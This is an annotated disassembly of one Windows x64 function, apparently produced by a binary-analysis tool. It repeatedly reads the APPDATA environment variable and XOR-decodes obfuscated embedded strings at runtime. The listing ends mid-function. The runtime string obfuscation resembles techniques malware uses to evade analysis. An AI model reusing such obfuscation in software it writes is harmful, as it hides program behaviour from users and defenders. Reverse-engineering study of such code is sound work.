Function at 0x140012cb8
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc58
mov rdx, qword [rcx + 8]
mov qword [rsp + 0xb8], rcx
mov r8, qword [rcx + 0x10]
lea rcx, [rsp + 0x40]
call fcn.140031440
lea rdx, str.APPDATA
lea rsi, [rsp + 0x120]
mov r8d, 7
mov rcx, rsi
call fcn.14014ced0
cmp byte [rsi + 0x18], 3
jne 0x140015e7b
mov rax, qword [rsp + 0x130]
lea rbp, [rsp + 0xa00]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rbp], xmm0
lea rax, [0x1402a97eb]
lea rdi, [rsp + 0x500]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x380a12223b9e392a
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.1400087d4
movabs rcx, 0x95acdbf1d5b1b009
xor rcx, qword [rax]
lea rdx, [rsp + 0x3c0]
mov qword [rdx], rcx
mov al, byte [rax + 8]
xor al, 0x98
mov byte [rdx + 8], al
lea rbx, [rsp + 0x448]
mov qword [rbx], rdx
mov qword [rbx + 8], 9
mov qword [rsp + 0x120], rbp
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], rbx
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
mov qword [rdi], 0
lea rax, [0x140371678]
mov qword [rdi + 0x10], rax
mov eax, 2
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rsi
mov qword [rdi + 0x28], rax
lea rcx, [rsp + 0x770]
lea rdx, [rsp + 0x500]
call fcn.140030660
cmp qword [rbp], 0
je 0x140012e0d
mov r8, qword [rsp + 0xa08]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x778]
mov rbp, qword [rsp + 0x780]
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov qword [rsp + 0x30], rdx
mov r8, rbp
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
jne 0x140012e68
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x120], 2
jmp 0x140012e8c
lea r15, [rsp + 0x120]
lea rax, [rsp + 0x500]
mov ecx, 9
mov rdi, r15
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [r15], 2
jne 0x140012e9e
lea rcx, [rsp + 0x128]
call fcn.14006467d
jmp 0x14001325f
lea rcx, [0x1402abf1b]
lea rsi, [rsp + 0x500]
mov qword [rsi], rcx
mov rcx, qword [rsi]
movabs rdx, 0xbe2084087f081f44
mov qword [rsi], rdx
mov rdx, qword [rsi]
call fcn.140008eca
mov ecx, 0xd2e41626
xor ecx, dword [rax]
mov dword [rsp + 0x448], ecx
mov qword [rsp + 0x770], rbx
mov qword [rsp + 0x778], 4
lea rax, [rsp + 0x40]
mov qword [rsp + 0x120], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
mov qword [rsi], 0
lea rax, [0x140371678]
mov qword [rsi + 0x10], rax
mov eax, 2
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r15
mov qword [rsi + 0x28], rax
lea rdi, [rsp + 0xa00]
mov rcx, rdi
mov rdx, rsi
call fcn.140030660
mov rcx, rdi
call fcn.14012d83b
mov qword [rsi], rax
test rax, rax
je 0x140012f78
lea rcx, [rsp + 0x500]
call fcn.14006467d
lea rbx, [rsp + 0x500]
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, rbp
call fcn.1401674f0
xor r8d, r8d
mov qword [rbx + 0x20], r8
mov qword [rbx + 0x30], 0xa
mov qword [rbx + 0x38], r8
mov word [rbx + 0x48], 0
mov byte [rbx + 0x4a], 0
mov qword [rbx + 0x40], 1
lea rbp, [rsp + 0x120]
mov ecx, 0xa
mov rdi, rbp
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x30], xmm3
movups xmm2, xmmword [rbp + 0x40]
movaps xmmword [rbx + 0x40], xmm2
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x778], xmm0
lea rax, [rsp + 0xa00]
lea rsi, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x3d0], rcx
movups xmm1, xmmword [rsp + 0x770]
movaps xmmword [rsp + 0x3c0], xmm1
lea rdx, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x50], r8
movaps xmm1, xmmword [rsp + 0x3c0]
movups xmmword [rdx + 0x58], xmm1
mov rax, qword [rsp + 0x3d0]
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x70], r8
mov r15d, 8
mov qword [rdx + 0x78], r15
movups xmmword [rdx + 0x80], xmm0
mov qword [rdx + 0x90], r15
movups xmmword [rdx + 0x98], xmm0
mov qword [rdx + 0xa8], r15
mov qword [rdx + 0xb0], r8
lea rax, [rsp + 0x98]
add r15, rax
mov rcx, rbp
mov rdx, rbx
call fcn.14017b3d2
mov rax, qword [rsp + 0x150]
cmp rax, 2
je 0x14001321d
cmp eax, 3
je 0x140013245
mov r14, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x130]
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015e21
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rdx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x770], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x778], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x780], rax
lea rax, [0x140037710]
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x120], 0
lea rax, [0x1402af608]
mov qword [rsp + 0x130], rax
mov ecx, 2
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x770]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rcx, [rsp + 0x448]
mov rdx, rbp
call fcn.140030660
mov r13, qword [rsp + 0x448]
mov r12, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x98]
mov rdx, rsi
mov r8, rdi
mov r9, r12
call fcn.140167200
cmp qword [rsp + 0x98], 0
je 0x1400131e6
mov rcx, r15
call fcn.14006467d
test r13, r13
je 0x1400131fd
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x1400130a6
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400130a6
mov ecx, 9
lea rax, [rsp + 0x770]
mov rdi, rax
lea rsi, [rsp + 0x158]
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.140004c54
jmp 0x1400130a6
lea rcx, [rsp + 0x120]
call fcn.140004252
lea rcx, [rsp + 0x500]
call fcn.1400045a1
cmp qword [rsp + 0x28], 0
je 0x14001327b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x40], 0
mov rsi, qword [rsp + 0xb8]
je 0x14001329f
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x40]
call fcn.140031440
lea rdx, str.APPDATA
lea r13, [rsp + 0x120]
mov r8d, 7
mov rcx, r13
call fcn.14014ced0
cmp byte [r13 + 0x18], 3
jne 0x140015ea5
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x780], rax
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x770], xmm0
lea rax, [0x1402ad78f]
mov qword [rsp + 0x500], rax
lea rdx, [rsp + 0x500]
mov rcx, qword [rsp + 0x500]
movabs rax, 0xaa2ecb6c2e64fb80
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.140009cbc
xorps xmm0, xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], 0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x1402af670]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x128], rbp
add rcx, 8
cmp rcx, 0x20
jb 0x140013364
movzx eax, word [rax + 0x28]
xor eax, 0x149c
mov word [rsp + 0x148], ax
mov qword [rsp + 0x3c0], r13
mov qword [rsp + 0x3c8], 0x2a
lea rax, [rsp + 0x770]
mov qword [rsp + 0xa00], rax
lea rax, [0x140006df0]
mov qword [rsp + 0xa08], rax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0xa10], rax
lea rax, [0x140037710]
mov qword [rsp + 0xa18], rax
lea rdx, [rsp + 0x500]
mov qword [rdx], 0
lea rax, [0x140371678]
mov qword [rdx + 0x10], rax
mov eax, 2
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0xa00]
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], rax
lea rcx, [rsp + 0x448]
call fcn.140030660
cmp qword [rsp + 0x770], 0
je 0x140013445
mov r8, qword [rsp + 0x778]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x450]
mov rbp, qword [rsp + 0x458]
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov qword [rsp + 0x30], rdx
mov r8, rbp
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
jne 0x1400134a0
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x120], 2
jmp 0x1400134c8
lea rbx, [rsp + 0x120]
lea rax, [rsp + 0x500]
mov ecx, 9
mov rdi, rbx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rbx], 2
jne 0x1400137a0
lea rcx, [rsp + 0x128]
call fcn.14006467d
cmp qword [rsp + 0x28], 0
je 0x1400134f1
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x40], 0
mov rsi, qword [rsp + 0xb8]
je 0x140013515
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea r12, [rsp + 0x430]
mov rcx, r12
call fcn.140031440
lea rdx, str.APPDATA
lea r15, [rsp + 0x500]
mov r8d, 7
mov rcx, r15
call fcn.14014ced0
movzx ecx, byte [r15 + 0x18]
cmp ecx, 2
je 0x140015783
mov rax, qword [rsp + 0x500]
mov r8, qword [rsp + 0x508]
cmp ecx, 3
jne 0x140013792
test r8, r8
je 0x140015783
mov rcx, qword [rsp + 0x510]
mov qword [rsp + 0x388], rax
mov qword [rsp + 0x390], r8
mov qword [rsp + 0x398], rcx
lea rax, [0x1403656d4]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0x77b5c687bc963496
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.14000a2e4
xorps xmm0, xmm0
movaps xmmword [rsp + 0x770], xmm0
mov r9b, 1
xor edx, edx
lea r10, [0x140371698]
movzx r8d, byte [rdx + r10]
mov rcx, rdx
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdx
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdx
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdx
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdx
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rdi, rdx
or rdi, 7
mov rsi, rdx
or rsi, 6
movzx esi, byte [rsi + r10]
movzx edi, byte [rdi + r10]
shl rdi, 0x38
shl rsi, 0x30
or rsi, rdi
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdx]
mov qword [rsp + rdx + 0x770], rbx
mov edx, 8
test r9b, 1
mov r9d, 0
jne 0x1400135e7
mov ecx, 0x1901a708
xor ecx, dword [rax + 0x10]
mov dword [rsp + 0x780], ecx
movzx eax, word [rax + 0x14]
xor eax, 0x8ef8
mov word [rsp + 0x784], ax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x450], 0x16
lea rax, [rsp + 0x388]
mov qword [rsp + 0x120], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x448]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
lea rdx, [rsp + 0x500]
mov qword [rdx], 0
lea rax, [0x140371678]
mov qword [rdx + 0x10], rax
mov eax, 2
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], r13
mov qword [rdx + 0x28], rax
lea rsi, [rsp + 0xa00]
mov rcx, rsi
call fcn.140030660
mov rbp, qword [rsi]
mov rbx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov rdx, rbx
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
jne 0x140013b96
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x120], 2
jmp 0x140013bba
test rax, rax
jne 0x140015774
jmp 0x140015783
lea rcx, [0x1402a7e35]
lea rsi, [rsp + 0x500]
mov qword [rsi], rcx
mov rcx, qword [rsi]
movabs rdx, 0xefd2b36088dec346
mov qword [rsi], rdx
mov rdx, qword [rsi]
call fcn.140008578
mov ecx, dword [rax]
movzx eax, word [rax + 4]
xor eax, 0xa63f
mov edx, 0xad42e52c
xor rdx, rcx
mov dword [rsp + 0x448], edx
mov word [rsp + 0x44c], ax
lea rax, [rsp + 0x448]
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], 6
lea rax, [rsp + 0x40]
mov qword [rsp + 0x120], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
mov qword [rsi], 0
lea rax, [0x140371678]
mov qword [rsi + 0x10], rax
mov eax, 2
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rbx
mov qword [rsi + 0x28], rax
lea rdi, [rsp + 0xa00]
mov rcx, rdi
mov rdx, rsi
call fcn.140030660
mov rcx, rdi
call fcn.14012d83b
mov qword [rsi], rax
test rax, rax
je 0x140013896
lea rcx, [rsp + 0x500]
call fcn.14006467d
lea rbx, [rsp + 0x500]
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, rbp
call fcn.1401674f0
xor r8d, r8d
mov qword [rbx + 0x20], r8
mov qword [rbx + 0x30], 0xa
mov qword [rbx + 0x38], r8
mov word [rbx + 0x48], 0
mov byte [rbx + 0x4a], 0
mov qword [rbx + 0x40], 1
lea rbp, [rsp + 0x120]
mov ecx, 0xa
mov rdi, rbp
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x30], xmm3
movups xmm2, xmmword [rbp + 0x40]
movaps xmmword [rbx + 0x40], xmm2
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x778], xmm0
lea rax, [rsp + 0xa00]
lea rsi, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x3d0], rcx
movups xmm1, xmmword [rsp + 0x770]
movaps xmmword [rsp + 0x3c0], xmm1
lea rdx, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x50], r8
movaps xmm1, xmmword [rsp + 0x3c0]
movups xmmword [rdx + 0x58], xmm1
mov rax, qword [rsp + 0x3d0]
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x70], r8
mov r13d, 8
mov qword [rdx + 0x78], r13
movups xmmword [rdx + 0x80], xmm0
mov qword [rdx + 0x90], r13
movups xmmword [rdx + 0x98], xmm0
mov qword [rdx + 0xa8], r13
mov qword [rdx + 0xb0], r8
lea rax, [rsp + 0x98]
add r13, rax
mov rcx, rbp
mov rdx, rbx
call fcn.14017b3d2
mov rax, qword [rsp + 0x150]
cmp rax, 2
je 0x140013b3b
cmp eax, 3
je 0x140013b63
mov r14, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x130]
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015e31
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rdx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x770], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x778], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x780], rax
lea rax, [0x140037710]
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x120], 0
lea rax, [0x1402af6a8]
mov qword [rsp + 0x130], rax
mov ecx, 2
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x770]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rcx, [rsp + 0x448]
mov rdx, rbp
call fcn.140030660
mov r15, qword [rsp + 0x448]
mov r12, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x98]
mov rdx, rsi
mov r8, rdi
mov r9, r12
call fcn.140167200
cmp qword [rsp + 0x98], 0
je 0x140013b04
mov rcx, r13
call fcn.14006467d
test r15, r15
je 0x140013b1b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x1400139c4
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400139c4
mov ecx, 9
lea rax, [rsp + 0x770]
mov rdi, rax
lea rsi, [rsp + 0x158]
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.140004c54
jmp 0x1400139c4
lea rcx, [rsp + 0x120]
call fcn.140004252
lea rcx, [rsp + 0x500]
call fcn.1400045a1
cmp qword [rsp + 0x28], 0
lea r13, [rsp + 0x120]
jne 0x1400134dd
jmp 0x1400134f1
lea rax, [rsp + 0x120]
lea r14, [rsp + 0x500]
mov ecx, 9
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp qword [rax], 2
jne 0x140013be7
lea rcx, [rsp + 0x128]
call fcn.14006467d
test rbp, rbp
je 0x140015759
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140015759
test rbp, rbp
je 0x140013bfe
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1403668f2]
lea rdi, [rsp + 0x500]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0x776de445ee705936
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140008f85
movabs rcx, 0x7f4799a057464221
xor rcx, qword [rax]
mov qword [rsp + 0x448], rcx
mov al, byte [rax + 8]
xor al, 0xb9
mov byte [rsp + 0x450], al
lea rax, [rsp + 0x448]
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], 9
mov qword [rsp + 0x120], r12
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
mov qword [rdi], 0
lea rax, [0x140371678]
mov qword [rdi + 0x10], rax
mov eax, 2
mov qword [rdi + 0x18], rax
lea rcx, [rsp + 0x120]
mov qword [rdi + 0x20], rcx
mov qword [rdi + 0x28], rax
lea rsi, [rsp + 0xa00]
mov rcx, rsi
mov rdx, rdi
call fcn.140030660
mov rcx, rsi
call fcn.14012d83b
mov qword [rdi], rax
test rax, rax
je 0x140013cf6
lea rcx, [rsp + 0x500]
call fcn.14006467d
lea rax, [0x140369944]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0x4a2bed758892c2d9
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.140009e20
xorps xmm0, xmm0
movaps xmmword [rsp + 0x770], xmm0
mov r9b, 1
xor edx, edx
lea r10, [0x1403716ae]
movzx r8d, byte [rdx + r10]
mov rcx, rdx
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdx
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdx
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdx
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdx
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rdi, rdx
or rdi, 7
mov rsi, rdx
or rsi, 6
movzx esi, byte [rsi + r10]
movzx edi, byte [rdi + r10]
shl rdi, 0x38
shl rsi, 0x30
or rsi, rdi
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdx]
mov qword [rsp + rdx + 0x770], rbx
mov edx, 8
xor esi, esi
test r9b, 1
mov r9d, 0
jne 0x140013d43
mov ecx, 0x6a3abcec
xor ecx, dword [rax + 0x10]
mov dword [rsp + 0x780], ecx
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
xor eax, 0x65df
mov word [rsp + 0x784], ax
xor cl, 0x43
mov byte [rsp + 0x786], cl
lea r13, [rsp + 0x448]
lea rax, [rsp + 0x770]
mov qword [r13], rax
mov qword [r13 + 8], 0x17
lea r12, [rsp + 0x120]
lea rax, [rsp + 0x388]
mov qword [r12], rax
lea rax, [0x140006df0]
mov qword [r12 + 8], rax
lea r14, [rsp + 0x448]
mov qword [r12 + 0x10], r14
lea rax, [0x140037710]
mov qword [r12 + 0x18], rax
lea rbp, [rsp + 0x500]
mov qword [rbp], rsi
lea rax, [0x140371678]
mov qword [rbp + 0x10], rax
mov eax, 2
mov qword [rbp + 0x18], rax
lea r15, [rsp + 0x120]
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], rax
lea r15, [rsp + 0xa00]
mov rcx, r15
lea rbx, [rsp + 0x500]
mov rdx, rbx
call fcn.140030660
mov rax, qword [r15]
mov qword [rsp + 0x30], rax
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
mov rcx, rbp
mov qword [rsp + 0x428], rdx
call fcn.1401674f0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x30], 0xa
mov qword [rbp + 0x38], rsi
mov word [rbp + 0x48], 0
mov byte [rbp + 0x4a], 0
mov qword [rbp + 0x40], 3
mov ecx, 0xa
mov rdi, r12
xor r8d, r8d
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movaps xmmword [rbp + 0x20], xmm2
movaps xmmword [rbp + 0x30], xmm3
movups xmm2, xmmword [r12 + 0x40]
movaps xmmword [rbp + 0x40], xmm2
movaps xmmword [rbp], xmm0
movaps xmmword [rbp + 0x10], xmm1
lea rbp, [rsp + 0x120]
xorps xmm0, xmm0
movups xmmword [r15 + 8], xmm0
lea rax, [rsp + 0x3c0]
lea rdx, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [r15 + 0x10]
mov qword [rsp + 0x9f0], rcx
movups xmm1, xmmword [r15]
movaps xmmword [rsp + 0x9e0], xmm1
mov ecx, 0xa
mov rdi, r13
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [r13 + 0x50], r8
movaps xmm1, xmmword [rsp + 0x9e0]
movups xmmword [r13 + 0x58], xmm1
mov rax, qword [rsp + 0x9f0]
mov qword [r13 + 0x68], rax
mov qword [r13 + 0x70], r8
mov eax, 8
mov qword [r13 + 0x78], rax
movups xmmword [r13 + 0x80], xmm0
mov qword [r13 + 0x90], rax
movups xmmword [r13 + 0x98], xmm0
mov qword [r13 + 0xa8], rax
mov qword [r13 + 0xb0], r8
lea r13, [rsp + 0x538]
add rdx, rax
mov qword [rsp + 0x420], rdx
add rax, r15
mov qword [rsp + 0x28], rax
lea r15, [0x140364a7a]
mov rcx, rbx
mov rdx, r14
call fcn.14017b3d2
mov rax, qword [rsp + 0x530]
cmp rax, 2
jne 0x140014038
mov ecx, 9
mov rdi, rbp
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
mov rcx, rbp
call fcn.140004c54
jmp 0x140014007
cmp eax, 3
je 0x140014c8a
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x38], rax
mov rsi, qword [rsp + 0x508]
mov rdi, qword [rsp + 0x510]
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f75
cmp rdx, 0x10
jne 0x140014318
mov qword [rsp + 0x500], r15
mov rcx, qword [rsp + 0x500]
movabs rax, 0xac7ad09c28ba579a
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.1400089d3
mov rcx, qword [rax]
movabs rdx, 0xfeb33c95f7e976ab
xor rcx, rdx
mov qword [rsp + 0x78], rcx
mov ecx, dword [rax + 8]
mov edx, 0xbd1bd0a5
xor ecx, edx
mov dword [rsp + 0x80], ecx
movzx eax, word [rax + 0xc]
xor eax, 0x7762
mov word [rsp + 0x84], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0xe
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f88
mov r15, rbx
mov r13, rsi
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], rdx
lea rax, [rsp + 0x430]
mov qword [rsp + 0x120], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
lea r12, [rsp + 0x770]
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x148], rax
xor ebx, ebx
mov qword [rsp + 0x500], rbx
lea rax, [0x1403716f8]
mov qword [rsp + 0x510], rax
mov eax, 3
mov qword [rsp + 0x518], rax
mov qword [rsp + 0x520], rbp
mov qword [rsp + 0x528], rax
lea rcx, [rsp + 0xa00]
mov rdx, r15
call fcn.140030660
mov rax, qword [rsp + 0xa00]
mov qword [rsp + 0x418], rax
mov r14, qword [rsp + 0xa08]
mov rsi, qword [rsp + 0xa10]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 8
mov qword [rsp + 0x70], rbx
mov rcx, r15
mov rdx, r13
mov r8, rdi
call fcn.1401674f0
lea rcx, [rsp + 0x60]
xor edx, edx
call fcn.140183525
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
shl rcx, 5
movups xmm0, xmmword [rsp + 0x500]
movups xmm1, xmmword [rsp + 0x510]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rbx
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x3a0]
mov qword [rsp + 0x410], r14
mov rdx, r14
mov r8, rsi
call fcn.1401674f0
mov rcx, r12
mov qword [rsp + 0xe8], r13
mov rdx, r13
mov r8, rdi
call fcn.1401674f0
mov rdi, qword [rsp + 0x778]
mov r8, qword [rsp + 0x780]
mov rcx, rbp
mov rdx, rdi
call fcn.140156a90
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movups xmm2, xmmword [rsp + 0x140]
movups xmm3, xmmword [rsp + 0x150]
